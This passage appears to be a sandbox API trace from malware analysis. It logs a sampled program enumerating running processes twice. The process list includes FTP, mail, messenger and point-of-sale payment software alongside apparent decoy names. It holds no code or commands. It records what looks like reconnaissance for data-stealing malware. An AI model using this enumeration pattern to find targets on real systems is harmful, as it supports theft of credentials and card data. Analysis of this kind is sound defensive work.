water.exe")) returned 1 [0106.075] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0106.078] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0106.080] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0106.083] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0106.085] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0106.088] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0106.091] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0106.094] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0106.097] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0106.100] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0106.102] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0106.105] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0106.108] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0106.110] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0106.117] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0106.120] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0106.123] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0106.126] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0106.129] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0106.132] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0106.135] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0106.137] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0106.140] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0106.142] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0106.147] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0106.149] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0106.152] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0106.154] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0106.157] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0106.159] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0106.165] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0106.167] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0106.170] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0106.172] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0106.175] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0106.179] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0106.181] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0106.183] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0106.186] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0106.188] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0106.191] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0106.193] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0106.195] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0106.198] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0106.200] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0106.202] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0106.205] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0106.213] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.215] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.218] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0106.220] CloseHandle (hObject=0x16dc) returned 1 [0106.220] Sleep (dwMilliseconds=0x64) [0106.337] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0106.354] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.356] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.358] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.361] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.363] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.366] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.368] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.370] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.372] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.375] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.377] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.527] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.530] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.532] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.533] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.535] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.537] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.538] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.540] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.542] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.544] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0106.546] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.548] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0106.550] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.553] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.554] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.557] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0106.559] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0106.560] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.562] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0106.564] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0106.654] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.656] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0106.657] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, 